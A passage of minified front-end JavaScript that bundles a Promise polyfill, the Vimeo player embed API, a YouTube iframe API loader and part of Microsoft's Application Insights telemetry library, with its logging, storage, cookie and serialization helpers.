promise");this.__NPO__=1;var t=new y(this);this.then=function(n,i){var u={success:"function"!=typeof n||n,failure:"function"==typeof i&&i};return u.promise=new this.constructor(function(n,t){if("function"!=typeof n||"function"!=typeof t)throw TypeError("Not a function");u.resolve=n;u.reject=t}),t.chain.push(u),0!==t.state&&r(e,t),u.promise};this.catch=function(n){return this.then(void 0,n)};try{n.call(void 0,function(n){(function n(t){var f,u=this;if(!u.triggered){u.triggered=!0;u.def&&(u=u.def);try{(f=s(t))?r(function(){var r=new c(u);try{f.call(t,function(){n.apply(r,arguments)},function(){i.apply(r,arguments)})}catch(n){i.call(r,n)}}):(u.msg=t,u.state=1,0<u.chain.length&&r(e,u))}catch(n){i.call(new c(u),n)}}}).call(t,n)},function(n){i.call(t,n)})}catch(n){i.call(t,n)}}var n,u,f,o=Object.prototype.toString,a="undefined"!=typeof setImmediate?function(n){return setImmediate(n)}:setTimeout,l;try{Object.defineProperty({},"x",{});n=function(n,t,i,r){return Object.defineProperty(n,t,{value:i,writable:!0,configurable:!1!==r})}}catch(o){n=function(n,t,i){return n[t]=i,n}}return f=function(){function r(n,t){this.fn=n;this.self=t;this.next=void 0}var i,t,n;return{add:function(u,f){n=new r(u,f);t?t.next=n:i=n;t=n;n=void 0},drain:function(){var n=i;for(i=t=u=void 0;n;)n.fn.call(n.self),n=n.next}}}(),l=n({},"constructor",t,!1),n(t.prototype=l,"__NPO__",0,!1),n(t,"resolve",function(n){return n&&"object"==typeof n&&1===n.__NPO__?n:new this(function(t,i){if("function"!=typeof t||"function"!=typeof i)throw TypeError("Not a function");t(n)})}),n(t,"reject",function(n){return new this(function(t,i){if("function"!=typeof t||"function"!=typeof i)throw TypeError("Not a function");i(n)})}),n(t,"all",function(n){var t=this;return"[object Array]"!=o.call(n)?t.reject(TypeError("Not an array")):0===n.length?t.resolve([]):new t(function(i,r){if("function"!=typeof i||"function"!=typeof r)throw TypeError("Not a function");var u=n.length,f=Array(u),e=0;h(t,n,function(n,t){f[n]=t;++e===u&&i(f)},r)})}),n(t,"race",function(n){var t=this;return"[object Array]"!=o.call(n)?t.reject(TypeError("Not an array")):new t(function(i,r){if("function"!=typeof i||"function"!=typeof r)throw TypeError("Not a function");h(t,n,function(n,t){i(t)},r)})}),t};(i=o)[t="Promise"]=i[t]||r();n.exports&&(n.exports=i[t])}(s={exports:{}},s.exports),s.exports);n=new WeakMap;w=["autopause","autoplay","background","byline","color","dnt","height","id","loop","maxheight","maxwidth","muted","playsinline","portrait","responsive","speed","title","transparent","url","width"];var i=new WeakMap,l=new WeakMap,it=function(){function o(u){var s,f=this,y=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{},h,a,v;if(function(n,t){if(!(n instanceof t))throw new TypeError("Cannot call a class as a function");}(this,o),window.jQuery&&u instanceof jQuery&&(1<u.length&&window.console&&console.warn&&console.warn("A jQuery object with multiple elements was passed, using the first element."),u=u[0]),"undefined"!=typeof document&&"string"==typeof u&&(u=document.getElementById(u)),s=u,!Boolean(s&&1===s.nodeType&&"nodeName"in s&&s.ownerDocument&&s.ownerDocument.defaultView))throw new TypeError("You must pass either a valid element or a valid id.");if(h=u.ownerDocument.defaultView,"IFRAME"!==u.nodeName&&(a=u.querySelector("iframe"),a&&(u=a)),"IFRAME"===u.nodeName&&!r(u.getAttribute("src")||""))throw new Error("The player element passed isn’t a Vimeo embed.");return i.has(u)?i.get(u):(this.element=u,this.origin="*",v=new t(function(t,e){var s=function(n){var i,u,o,s;if(r(n.origin)&&f.element.contentWindow===n.source){if("*"===f.origin&&(f.origin=n.origin),i=d(n.data),i&&"error"===i.event&&i.data&&"ready"===i.data.method)return u=new Error(i.data.message),u.name=i.data.name,void e(u);if(o=i&&"ready"===i.event,s=i&&"ping"===i.method,o||s)return f.element.setAttribute("data-ready","true"),void t();tt(f,i)}},o;(h.addEventListener?h.addEventListener("message",s,!1):h.attachEvent&&h.attachEvent("onmessage",s),"IFRAME"!==f.element.nodeName)&&(o=b(u,y),k(p(o),o,u).then(function(t){var r,e,o,s=c(t,u);return f.element=s,f._originalElement=u,r=u,e=s,o=n.get(r),n.set(e,o),n.delete(r),i.set(f.element,f),t}).catch(e))}),l.set(this,v),i.set(this.element,this),"IFRAME"===this.element.nodeName&&e(this,"ping"),this)}var s,v,w;return s=o,(v=[{key:"callMethod",value:function(n){var i=this,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{};return new t(function(t,f){return i.ready().then(function(){u(i,n,{resolve:t,reject:f});e(i,n,r)}).catch(f)})}},{key:"get",value:function(n){var i=this;return new t(function(t,r){return n=y(n,"get"),i.ready().then(function(){u(i,n,{resolve:t,reject:r});e(i,n)}).catch(r)})}},{key:"set",value:function(n,i){var r=this;return new t(function(t,f){if(n=y(n,"set"),null==i)throw new TypeError("There must be a value to set.");return r.ready().then(function(){u(r,n,{resolve:t,reject:f});e(r,n,i)}).catch(f)})}},{key:"on",value:function(n,t){if(!n)throw new TypeError("You must pass an event name.");if(!t)throw new TypeError("You must pass a callback function.");if("function"!=typeof t)throw new TypeError("The callback must be a function.");0===f(this,"event:".concat(n)).length&&this.callMethod("addEventListener",n).catch(function(){});u(this,"event:".concat(n),t)}},{key:"off",value:function(n,t){if(!n)throw new TypeError("You must pass an event name.");if(t&&"function"!=typeof t)throw new TypeError("The callback must be a function.");h(this,"event:".concat(n),t)&&this.callMethod("removeEventListener",n).catch(function(){})}},{key:"loadVideo",value:function(n){return this.callMethod("loadVideo",n)}},{key:"ready",value:function(){var n=l.get(this)||new t(function(n,t){t(new Error("Unknown player. Probably unloaded."))});return t.resolve(n)}},{key:"addCuePoint",value:function(n){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{};return this.callMethod("addCuePoint",{time:n,data:t})}},{key:"removeCuePoint",value:function(n){return this.callMethod("removeCuePoint",n)}},{key:"enableTextTrack",value:function(n,t){if(!n)throw new TypeError("You must pass a language.");return this.callMethod("enableTextTrack",{language:n,kind:t})}},{key:"disableTextTrack",value:function(){return this.callMethod("disableTextTrack")}},{key:"pause",value:function(){return this.callMethod("pause")}},{key:"play",value:function(){return this.callMethod("play")}},{key:"unload",value:function(){return this.callMethod("unload")}},{key:"destroy",value:function(){var n=this;return new t(function(t){l.delete(n);i.delete(n.element);n._originalElement&&(i.delete(n._originalElement),n._originalElement.removeAttribute("data-vimeo-initialized"));n.element&&"IFRAME"===n.element.nodeName&&n.element.parentNode&&n.element.parentNode.removeChild(n.element);t()})}},{key:"getAutopause",value:function(){return this.get("autopause")}},{key:"setAutopause",value:function(n){return this.set("autopause",n)}},{key:"getBuffered",value:function(){return this.get("buffered")}},{key:"getColor",value:function(){return this.get("color")}},{key:"setColor",value:function(n){return this.set("color",n)}},{key:"getCuePoints",value:function(){return this.get("cuePoints")}},{key:"getCurrentTime",value:function(){return this.get("currentTime")}},{key:"setCurrentTime",value:function(n){return this.set("currentTime",n)}},{key:"getDuration",value:function(){return this.get("duration")}},{key:"getEnded",value:function(){return this.get("ended")}},{key:"getLoop",value:function(){return this.get("loop")}},{key:"setLoop",value:function(n){return this.set("loop",n)}},{key:"getPaused",value:function(){return this.get("paused")}},{key:"getPlaybackRate",value:function(){return this.get("playbackRate")}},{key:"setPlaybackRate",value:function(n){return this.set("playbackRate",n)}},{key:"getPlayed",value:function(){return this.get("played")}},{key:"getSeekable",value:function(){return this.get("seekable")}},{key:"getSeeking",value:function(){return this.get("seeking")}},{key:"getTextTracks",value:function(){return this.get("textTracks")}},{key:"getVideoEmbedCode",value:function(){return this.get("videoEmbedCode")}},{key:"getVideoId",value:function(){return this.get("videoId")}},{key:"getVideoTitle",value:function(){return this.get("videoTitle")}},{key:"getVideoWidth",value:function(){return this.get("videoWidth")}},{key:"getVideoHeight",value:function(){return this.get("videoHeight")}},{key:"getVideoUrl",value:function(){return this.get("videoUrl")}},{key:"getVolume",value:function(){return this.get("volume")}},{key:"setVolume",value:function(n){return this.set("volume",n)}}])&&a(s.prototype,v),w&&a(s,w),o}();return v||(function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document,i=[].slice.call(t.querySelectorAll("[data-vimeo-id], [data-vimeo-url]")),n=function(n){"console"in window&&console.error&&console.error("There was an error creating an embed: ".concat(n))};i.forEach(function(t){try{if(null!==t.getAttribute("data-vimeo-defer"))return;var i=b(t);k(p(i),i,t).then(function(n){return c(n,t)}).catch(n)}catch(i){n(i)}})}(),function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document,n;window.VimeoPlayerResizeEmbeds_||(window.VimeoPlayerResizeEmbeds_=!0,n=function(n){if(r(n.origin)&&n.data&&"spacechange"===n.data.event)for(var u=t.querySelectorAll("iframe"),i=0;i<u.length;i++)if(u[i].contentWindow===n.source){u[i].parentElement.style.paddingBottom="".concat(n.data.data[0].bottom,"px");break}},window.addEventListener?window.addEventListener("message",n,!1):window.attachEvent&&window.attachEvent("onmessage",n))}()),it});window.YT||(YT={loading:0,loaded:0});window.YTConfig||(YTConfig={host:"http://www.youtube.com"});YT.loading||(YT.loading=1,function(){var t=[],n,i;YT.ready=function(n){YT.loaded?n():t.push(n)};window.onYTReady=function(){YT.loaded=1;for(var n=0;n<t.length;n++)try{t[n]()}catch(i){}};YT.setConfig=function(n){for(var t in n)n.hasOwnProperty(t)&&(YTConfig[t]=n[t])};n=document.createElement("script");n.type="text/javascript";n.id="www-widgetapi-script";n.src="https://s.ytimg.com/yts/jsbin/www-widgetapi-vflWkc-3E/www-widgetapi.js";n.async=!0;i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(n,i)}());__extends=this&&this.__extends||function(){var n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i])};return function(t,i){function r(){this.constructor=t}n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}();!function(n){n.ApplicationInsights||(n.ApplicationInsights={})}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){return function(){}}();n.Base=t}(n.Telemetry||(n.Telemetry={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){return function(){this.ver=1;this.sampleRate=100;this.tags={}}}();n.Envelope=t}(n.Telemetry||(n.Telemetry={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n.Context||(n.Context={})}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n.Context||(n.Context={})}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n.Context||(n.Context={})}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n.Context||(n.Context={})}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n.Context||(n.Context={})}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n.Context||(n.Context={})}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n.Context||(n.Context={})}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n.Context||(n.Context={})}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){n.ApplicationInsights||(n.ApplicationInsights={})}(Microsoft||(Microsoft={}));!function(n){n.ApplicationInsights||(n.ApplicationInsights={})}(Microsoft||(Microsoft={}));!function(n){n.ApplicationInsights||(n.ApplicationInsights={})}(Microsoft||(Microsoft={}));!function(n){!function(n){n[n.Verbose=0]="Verbose";n[n.Information=1]="Information";n[n.Warning=2]="Warning";n[n.Error=3]="Error";n[n.Critical=4]="Critical"}(n.SeverityLevel||(n.SeverityLevel={}))}(AI||(AI={}));!function(n){n.ApplicationInsights||(n.ApplicationInsights={})}(Microsoft||(Microsoft={}));!function(n){!function(n){var r,t,i,u;!function(n){n[n.CRITICAL=0]="CRITICAL";n[n.WARNING=1]="WARNING"}(r=n.LoggingSeverity||(n.LoggingSeverity={}));!function(n){n[n.BrowserDoesNotSupportLocalStorage=0]="BrowserDoesNotSupportLocalStorage";n[n.BrowserCannotReadLocalStorage=1]="BrowserCannotReadLocalStorage";n[n.BrowserCannotReadSessionStorage=2]="BrowserCannotReadSessionStorage";n[n.BrowserCannotWriteLocalStorage=3]="BrowserCannotWriteLocalStorage";n[n.BrowserCannotWriteSessionStorage=4]="BrowserCannotWriteSessionStorage";n[n.BrowserFailedRemovalFromLocalStorage=5]="BrowserFailedRemovalFromLocalStorage";n[n.BrowserFailedRemovalFromSessionStorage=6]="BrowserFailedRemovalFromSessionStorage";n[n.CannotSendEmptyTelemetry=7]="CannotSendEmptyTelemetry";n[n.ClientPerformanceMathError=8]="ClientPerformanceMathError";n[n.ErrorParsingAISessionCookie=9]="ErrorParsingAISessionCookie";n[n.ErrorPVCalc=10]="ErrorPVCalc";n[n.ExceptionWhileLoggingError=11]="ExceptionWhileLoggingError";n[n.FailedAddingTelemetryToBuffer=12]="FailedAddingTelemetryToBuffer";n[n.FailedMonitorAjaxAbort=13]="FailedMonitorAjaxAbort";n[n.FailedMonitorAjaxDur=14]="FailedMonitorAjaxDur";n[n.FailedMonitorAjaxOpen=15]="FailedMonitorAjaxOpen";n[n.FailedMonitorAjaxRSC=16]="FailedMonitorAjaxRSC";n[n.FailedMonitorAjaxSend=17]="FailedMonitorAjaxSend";n[n.FailedMonitorAjaxGetCorrelationHeader=18]="FailedMonitorAjaxGetCorrelationHeader";n[n.FailedToAddHandlerForOnBeforeUnload=19]="FailedToAddHandlerForOnBeforeUnload";n[n.FailedToSendQueuedTelemetry=20]="FailedToSendQueuedTelemetry";n[n.FailedToReportDataLoss=21]="FailedToReportDataLoss";n[n.FlushFailed=22]="FlushFailed";n[n.MessageLimitPerPVExceeded=23]="MessageLimitPerPVExceeded";n[n.MissingRequiredFieldSpecification=24]="MissingRequiredFieldSpecification";n[n.NavigationTimingNotSupported=25]="NavigationTimingNotSupported";n[n.OnError=26]="OnError";n[n.SessionRenewalDateIsZero=27]="SessionRenewalDateIsZero";n[n.SenderNotInitialized=28]="SenderNotInitialized";n[n.StartTrackEventFailed=29]="StartTrackEventFailed";n[n.StopTrackEventFailed=30]="StopTrackEventFailed";n[n.StartTrackFailed=31]="StartTrackFailed";n[n.StopTrackFailed=32]="StopTrackFailed";n[n.TelemetrySampledAndNotSent=33]="TelemetrySampledAndNotSent";n[n.TrackEventFailed=34]="TrackEventFailed";n[n.TrackExceptionFailed=35]="TrackExceptionFailed";n[n.TrackMetricFailed=36]="TrackMetricFailed";n[n.TrackPVFailed=37]="TrackPVFailed";n[n.TrackPVFailedCalc=38]="TrackPVFailedCalc";n[n.TrackTraceFailed=39]="TrackTraceFailed";n[n.TransmissionFailed=40]="TransmissionFailed";n[n.FailedToSetStorageBuffer=41]="FailedToSetStorageBuffer";n[n.FailedToRestoreStorageBuffer=42]="FailedToRestoreStorageBuffer";n[n.InvalidBackendResponse=43]="InvalidBackendResponse";n[n.FailedToFixDepricatedValues=44]="FailedToFixDepricatedValues";n[n.InvalidDurationValue=45]="InvalidDurationValue";n[n.CannotSerializeObject=46]="CannotSerializeObject";n[n.CannotSerializeObjectNonSerializable=47]="CannotSerializeObjectNonSerializable";n[n.CircularReferenceDetected=48]="CircularReferenceDetected";n[n.ClearAuthContextFailed=49]="ClearAuthContextFailed";n[n.ExceptionTruncated=50]="ExceptionTruncated";n[n.IllegalCharsInName=51]="IllegalCharsInName";n[n.ItemNotInArray=52]="ItemNotInArray";n[n.MaxAjaxPerPVExceeded=53]="MaxAjaxPerPVExceeded";n[n.MessageTruncated=54]="MessageTruncated";n[n.NameTooLong=55]="NameTooLong";n[n.SampleRateOutOfRange=56]="SampleRateOutOfRange";n[n.SetAuthContextFailed=57]="SetAuthContextFailed";n[n.SetAuthContextFailedAccountName=58]="SetAuthContextFailedAccountName";n[n.StringValueTooLong=59]="StringValueTooLong";n[n.StartCalledMoreThanOnce=60]="StartCalledMoreThanOnce";n[n.StopCalledWithoutStart=61]="StopCalledWithoutStart";n[n.TelemetryInitializerFailed=62]="TelemetryInitializerFailed";n[n.TrackArgumentsNotSpecified=63]="TrackArgumentsNotSpecified";n[n.UrlTooLong=64]="UrlTooLong";n[n.SessionStorageBufferFull=65]="SessionStorageBufferFull";n[n.CannotAccessCookie=66]="CannotAccessCookie";n[n.IdTooLong=67]="IdTooLong"}(t=n._InternalMessageId||(n._InternalMessageId={}));i=function(){function n(i,r,u,f){void 0===u&&(u=!1);this.messageId=i;this.message=(u?n.AiUserActionablePrefix:n.AiNonUserActionablePrefix)+t[i].toString();var e=(r?" message:"+n.sanitizeDiagnosticText(r):"")+(f?" props:"+n.sanitizeDiagnosticText(JSON.stringify(f)):"");this.message+=e}return n.sanitizeDiagnosticText=function(n){return'"'+n.replace(/\"/g,"")+'"'},n.AiNonUserActionablePrefix="AI (Internal): ",n.AiUserActionablePrefix="AI: ",n}();n._InternalLogMessage=i;u=function(){function u(){}return u.throwInternal=function(n,r,u,f,e){var o,s;if(void 0===e&&(e=!1),o=new i(r,u,e,f),this.enableDebugExceptions())throw o;void 0!==o&&o&&"undefined"!=typeof o.message&&(e?(s=t[o.messageId],this._messageLogged[s]&&!this.verboseLogging()||(this.warnToConsole(o.message),this._messageLogged[s]=!0)):this.verboseLogging()&&this.warnToConsole(o.message),this.logInternalMessage(n,o))},u.warnToConsole=function(n){"undefined"!=typeof console&&console&&("function"==typeof console.warn?console.warn(n):"function"==typeof console.log&&console.log(n))},u.resetInternalMessageCount=function(){this._messageCount=0;this._messageLogged={}},u.clearInternalMessageLoggedTypes=function(){if(n.Util.canUseSessionStorage())for(var i=n.Util.getSessionStorageKeys(),t=0;t<i.length;t++)0===i[t].indexOf(u.AIInternalMessagePrefix)&&n.Util.removeSessionStorage(i[t])},u.setMaxInternalMessageLimit=function(n){if(!n)throw new Error("limit cannot be undefined.");this.MAX_INTERNAL_MESSAGE_LIMIT=n},u.logInternalMessage=function(f,e){var s,o,h,c;this._areInternalMessagesThrottled()||(s=!0,o=u.AIInternalMessagePrefix+t[e.messageId],(n.Util.canUseSessionStorage()?n.Util.getSessionStorage(o)?s=!1:n.Util.setSessionStorage(o,"1"):this._messageLogged[o]?s=!1:this._messageLogged[o]=!0,s&&((this.verboseLogging()||f===r.CRITICAL)&&(this.queue.push(e),this._messageCount++),this._messageCount==this.MAX_INTERNAL_MESSAGE_LIMIT))&&(h="Internal events throttle limit per PageView reached for this app.",c=new i(t.MessageLimitPerPVExceeded,h,!1),this.queue.push(c),this.warnToConsole(h)))},u._areInternalMessagesThrottled=function(){return this._messageCount>=this.MAX_INTERNAL_MESSAGE_LIMIT},u.AIInternalMessagePrefix="AITR_",u.enableDebugExceptions=function(){return!1},u.verboseLogging=function(){return!1},u.queue=[],u.MAX_INTERNAL_MESSAGE_LIMIT=25,u._messageCount=0,u._messageLogged={},u}();n._InternalLogging=u}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){function n(){}return n.newId=function(){for(var t="",n=1073741824*Math.random();n>0;)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(n%64),n=Math.floor(n/64);return t},n}();n.UtilHelpers=t}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t,r,i,u;!function(n){n[n.LocalStorage=0]="LocalStorage";n[n.SessionStorage=1]="SessionStorage"}(t||(t={}));r=function(){function i(){}return i.disableStorage=function(){i._canUseLocalStorage=!1;i._canUseSessionStorage=!1},i._getLocalStorageObject=function(){return i.canUseLocalStorage()?i._getVerifiedStorageObject(t.LocalStorage):null},i._getVerifiedStorageObject=function(n){var u,i,r=null;try{i=new Date;(r=n===t.LocalStorage?window.localStorage:window.sessionStorage).setItem(i,i);u=r.getItem(i)!=i;r.removeItem(i);u&&(r=null)}catch(f){r=null}return r},i.isInternalApplicationInsightsEndpoint=function(n){return-1!==i._internalEndpoints.indexOf(n.toLowerCase())},i.canUseLocalStorage=function(){return i._canUseLocalStorage===undefined&&(i._canUseLocalStorage=!!i._getVerifiedStorageObject(t.LocalStorage)),i._canUseLocalStorage},i.getStorage=function(t){var r=i._getLocalStorageObject();if(null!==r)try{return r.getItem(t)}catch(u){i._canUseLocalStorage=!1;n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.BrowserCannotReadLocalStorage,"Browser failed read of local storage. "+i.getExceptionName(u),{exception:i.dump(u)})}return null},i.setStorage=function(t,r){var u=i._getLocalStorageObject();if(null!==u)try{return u.setItem(t,r),!0}catch(f){i._canUseLocalStorage=!1;n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.BrowserCannotWriteLocalStorage,"Browser failed write to local storage. "+i.getExceptionName(f),{exception:i.dump(f)})}return!1},i.removeStorage=function(t){var r=i._getLocalStorageObject();if(null!==r)try{return r.removeItem(t),!0}catch(u){i._canUseLocalStorage=!1;n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.BrowserFailedRemovalFromLocalStorage,"Browser failed removal of local storage item. "+i.getExceptionName(u),{exception:i.dump(u)})}return!1},i._getSessionStorageObject=function(){return i.canUseSessionStorage()?i._getVerifiedStorageObject(t.SessionStorage):null},i.canUseSessionStorage=function(){return i._canUseSessionStorage===undefined&&(i._canUseSessionStorage=!!i._getVerifiedStorageObject(t.SessionStorage)),i._canUseSessionStorage},i.getSessionStorageKeys=function(){var n=[],t;if(i.canUseSessionStorage())for(t in window.sessionStorage)n.push(t);return n},i.getSessionStorage=function(t){var r=i._getSessionStorageObject();if(null!==r)try{return r.getItem(t)}catch(u){i._canUseSessionStorage=!1;n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.BrowserCannotReadSessionStorage,"Browser failed read of session storage. "+i.getExceptionName(u),{exception:i.dump(u)})}return null},i.setSessionStorage=function(t,r){var u=i._getSessionStorageObject();if(null!==u)try{return u.setItem(t,r),!0}catch(f){i._canUseSessionStorage=!1;n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.BrowserCannotWriteSessionStorage,"Browser failed write to session storage. "+i.getExceptionName(f),{exception:i.dump(f)})}return!1},i.removeSessionStorage=function(t){var r=i._getSessionStorageObject();if(null!==r)try{return r.removeItem(t),!0}catch(u){i._canUseSessionStorage=!1;n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.BrowserFailedRemovalFromSessionStorage,"Browser failed removal of session storage item. "+i.getExceptionName(u),{exception:i.dump(u)})}return!1},i.disableCookies=function(){i._canUseCookies=!1},i.canUseCookies=function(){if(i._canUseCookies===undefined){i._canUseCookies=!1;try{i._canUseCookies=i.document.cookie!==undefined}catch(t){n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.CannotAccessCookie,"Cannot access document.cookie - "+i.getExceptionName(t),{exception:i.dump(t)})}}return i._canUseCookies},i.setCookie=function(n,t,r){var u="",f="";r&&(u=";domain="+r);i.document.location&&"https:"===i.document.location.protocol&&(f=";secure");i.canUseCookies()&&(i.document.cookie=n+"="+t+u+";path=/"+f)},i.stringToBoolOrDefault=function(n,t){return void 0===t&&(t=!1),n===undefined||null===n?t:"true"===n.toString().toLowerCase()},i.getCookie=function(n){var u,t;if(i.canUseCookies()){if(u="",n&&n.length)for(var e=n+"=",f=i.document.cookie.split(";"),r=0;r<f.length;r++)if(t=f[r],(t=i.trim(t))&&0===t.indexOf(e)){u=t.substring(e.length,f[r].length);break}return u}},i.deleteCookie=function(n){i.canUseCookies()&&(i.document.cookie=n+"=;path=/;expires=Thu, 01 Jan 1970 00:00:01 GMT;")},i.trim=function(n){return"string"!=typeof n?n:n.replace(/^\s+|\s+$/g,"")},i.newId=function(){return n.UtilHelpers.newId()},i.isArray=function(n){return"[object Array]"===Object.prototype.toString.call(n)},i.isError=function(n){return"[object Error]"===Object.prototype.toString.call(n)},i.isDate=function(n){return"[object Date]"===Object.prototype.toString.call(n)},i.toISOStringForIE8=function(n){if(i.isDate(n)){if(Date.prototype.toISOString)return n.toISOString();var t=function(n){var t=String(n);return 1===t.length&&(t="0"+t),t};return n.getUTCFullYear()+"-"+t(n.getUTCMonth()+1)+"-"+t(n.getUTCDate())+"T"+t(n.getUTCHours())+":"+t(n.getUTCMinutes())+":"+t(n.getUTCSeconds())+"."+String((n.getUTCMilliseconds()/1e3).toFixed(3)).slice(2,5)+"Z"}},i.getIEVersion=function(n){void 0===n&&(n=null);var t=n?n.toLowerCase():navigator.userAgent.toLowerCase();return-1!=t.indexOf("msie")?parseInt(t.split("msie")[1]):null},i.msToTimeSpan=function(n){(isNaN(n)||n<0)&&(n=0);var t=""+(n=Math.round(n))%1e3,i=""+Math.floor(n/1e3)%60,r=""+Math.floor(n/6e4)%60,u=""+Math.floor(n/36e5)%24,f=Math.floor(n/864e5);return t=1===t.length?"00"+t:2===t.length?"0"+t:t,i=i.length<2?"0"+i:i,r=r.length<2?"0"+r:r,u=u.length<2?"0"+u:u,(f>0?f+".":"")+u+":"+r+":"+i+"."+t},i.isCrossOriginError=function(n,t,i,r,u){return("Script error."===n||"Script error"===n)&&!u},i.dump=function(n){var t=Object.prototype.toString.call(n),i=JSON.stringify(n);return"[object Error]"===t&&(i="{ stack: '"+n.stack+"', message: '"+n.message+"', name: '"+n.name+"'"),t+i},i.getExceptionName=function(n){return"[object Error]"===Object.prototype.toString.call(n)?n.name:""},i.addEventHandler=function(n,t){if(!window||"string"!=typeof n||"function"!=typeof t)return!1;var i="on"+n;if(window.addEventListener)window.addEventListener(n,t,!1);else{if(!window.attachEvent)return!1;window.attachEvent(i,t)}return!0},i.IsBeaconApiSupported=function(){return"sendBeacon"in navigator&&navigator.sendBeacon},i.document="undefined"!=typeof document?document:{},i._canUseCookies=undefined,i._canUseLocalStorage=undefined,i._canUseSessionStorage=undefined,i._internalEndpoints=["https://dc.services.visualstudio.com/v2/track","https://breeze.aimon.applicationinsights.io/v2/track","https://dc-int.services.visualstudio.com/v2/track"],i.NotSpecified="not_specified",i}();n.Util=r;i=function(){function n(){}return n.parseUrl=function(t){return n.htmlAnchorElement||(n.htmlAnchorElement=n.document.createElement?n.document.createElement("a"):{}),n.htmlAnchorElement.href=t,n.htmlAnchorElement},n.getAbsoluteUrl=function(t){var i,r=n.parseUrl(t);return r&&(i=r.href),i},n.getPathName=function(t){var i,r=n.parseUrl(t);return r&&(i=r.pathname),i},n.getCompleteUrl=function(n,t){return n?n.toUpperCase()+" "+t:t},n.document="undefined"!=typeof document?document:{},n}();n.UrlHelper=i;u=function(){function t(){}return t.canIncludeCorrelationHeader=function(n,t,r){var e,u,f;if(n&&n.disableCorrelationHeaders||!t||(e=i.parseUrl(t).host.toLowerCase(),!(n&&n.enableCorsCorrelation||e===r)))return!1;if(u=n&&n.correlationHeaderExcludedDomains,!u||0==u.length)return!0;for(f=0;f<u.length;f++)if(new RegExp(u[f].toLowerCase().replace(/\./g,".").replace(/\*/g,".*")).test(e))return!1;return!0},t.getCorrelationContext=function(i){if(i){var r=t.getCorrelationContextValue(i,n.RequestHeaders.requestContextTargetKey);if(r&&r!==t.correlationIdPrefix)return r}},t.getCorrelationContextValue=function(n,t){var u,i,r;if(n)for(u=n.split(","),i=0;i<u.length;++i)if(r=u[i].split("="),2==r.length&&r[0]==t)return r[1]},t.correlationIdPrefix="cid-v1:",t}();n.CorrelationIdHelper=u}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t,i;!function(n){n[n.Default=0]="Default";n[n.Required=1]="Required";n[n.Array=2]="Array";n[n.Hidden=4]="Hidden"}(t=n.FieldType||(n.FieldType={}));i=function(){function i(){}return i.serialize=function(n){var t=i._serializeObject(n,"root");return JSON.stringify(t)},i._serializeObject=function(r,u){var e={},f,c;if(!r)return n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.CannotSerializeObject,"cannot serialize object because it is null or undefined",{name:u},!0),e;if(r.__aiCircularRefCheck)return n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.CircularReferenceDetected,"Circular reference detected while serializing object",{name:u},!0),e;if(!r.aiDataContract){if("measurements"===u)e=i._serializeStringMap(r,"number",u);else if("properties"===u)e=i._serializeStringMap(r,"string",u);else if("tags"===u)e=i._serializeStringMap(r,"string",u);else if(n.Util.isArray(r))e=i._serializeArray(r,u);else{n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.CannotSerializeObjectNonSerializable,"Attempting to serialize an object which does not implement ISerializable",{name:u},!0);try{JSON.stringify(r);e=r}catch(s){n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.CannotSerializeObject,s&&"function"==typeof s.toString?s.toString():"Error serializing object",null,!0)}}return e}r.__aiCircularRefCheck=!0;for(f in r.aiDataContract){var o=r.aiDataContract[f],l="function"==typeof o?o()&t.Required:o&t.Required,a="function"==typeof o?o()&t.Hidden:o&t.Hidden,h=o&t.Array,v=r[f]!==undefined,y="object"==typeof r[f]&&null!==r[f];!l||v||h?a||(c=y?h?i._serializeArray(r[f],f):i._serializeObject(r[f],f):r[f])!==undefined&&(e[f]=c):n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.MissingRequiredFieldSpecification,"Missing required field specification. The field is required but not present on source",{field:f,name:u})}return delete 